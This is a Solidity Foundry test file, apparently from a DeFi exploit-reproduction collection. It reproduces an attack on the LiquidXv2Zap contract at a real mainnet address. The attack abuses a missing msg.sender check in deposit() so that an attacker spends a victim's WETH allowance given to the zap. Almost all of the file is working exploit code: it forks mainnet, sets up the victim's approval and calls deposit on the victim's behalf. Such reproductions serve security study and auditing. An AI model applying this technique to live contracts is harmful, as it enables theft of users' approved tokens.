-
Notifications
You must be signed in to change notification settings - Fork 1.2k
/
LQDX_alert_exp.sol
110 lines (92 loc) · 3.76 KB
/
LQDX_alert_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
// @Info
// LQDX LiquidXv2Zap Contract : https://etherscan.io/address/0x364f17a23ae4350319b7491224d10df5796190bc#codeL490
// @NewsTrack
// SlowMist : https://twitter.com/SlowMist_Team/status/1744972012865671452
// Note: the problem lies in the `deposit` function where there is no check that the `account` should be `msg.sender`, thus `account`'s approval on the `zap` can be spent to buy tokens and add liquidity.
interface ILiquidXv2Zap {
struct swapRouter {
string platform;
address tokenIn;
address tokenOut;
uint256 amountOutMin;
uint256 meta; // fee, flag(stable), 0=v2
uint256 percent;
}
struct swapLine {
swapRouter[] swaps;
}
struct swapBlock {
swapLine[] lines;
}
struct swapPath {
swapBlock[] path;
}
function deposit(
address account,
address token,
address tokenM,
swapPath calldata path,
address token0,
address token1,
uint256[3] calldata amount,
uint256 basketId
) external payable returns(uint256);
}
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
}
interface ILiquidXv2Pair {
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}
contract Exploit is Test {
IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 LQDX = IERC20(0x872952d3c1Caf944852c5ADDa65633F1Ef218A26);
ILiquidXv2Zap zap = ILiquidXv2Zap(0x364f17A23AE4350319b7491224d10dF5796190bC);
ILiquidXv2Pair WETH_LQDX_pair = ILiquidXv2Pair(0x1884C3D0ac1A3ACF0698b2a19866cee4cE27c31A);
address victim = address(0x1);
address attacker = address(0xbad);
function setUp() public {
vm.createSelectFork("mainnet", 19165893);
vm.deal(victim, 1 ether);
vm.deal(attacker, 1 ether);
deal(address(WETH), victim, 10 ether); // the approved funds to be stolen
emit log_named_uint(
"victim WETH balance (ether) before attack", (WETH.balanceOf(victim)) / 1 ether
);
vm.prank(victim);
WETH.approve(address(zap), 10 ether);
emit log_named_uint(
"victim approved on zap contract (ether)", (WETH.allowance(victim, address(zap))) / 1 ether
);
}
function testExploit() public {
vm.startPrank(attacker);
(uint112 lqdx_before, uint112 weth_before,) = WETH_LQDX_pair.getReserves();
emit log_named_uint("before attack, LQDX in the pool", lqdx_before / 1 ether);
emit log_named_uint("before attack, WETH in the pool", weth_before / 1 ether);
// attack starts here
ILiquidXv2Zap.swapBlock[] memory path;
uint[3] memory amounts = [WETH.allowance(victim, address(zap)),0,0];
zap.deposit(victim,
address(WETH),
address(WETH),
ILiquidXv2Zap.swapPath({path:path}),
address(WETH),
address(LQDX),
amounts,
0);
(uint112 lqdx_after, uint112 weth_after,) = WETH_LQDX_pair.getReserves();
emit log_named_uint("after attack, LQDX in the pool", lqdx_after / 1 ether);
emit log_named_uint("after attack, WETH in the pool", weth_after / 1 ether);
emit log_named_uint(
"victim WETH balance (ether) after attack", (WETH.balanceOf(victim)) / 1 ether
);
}
}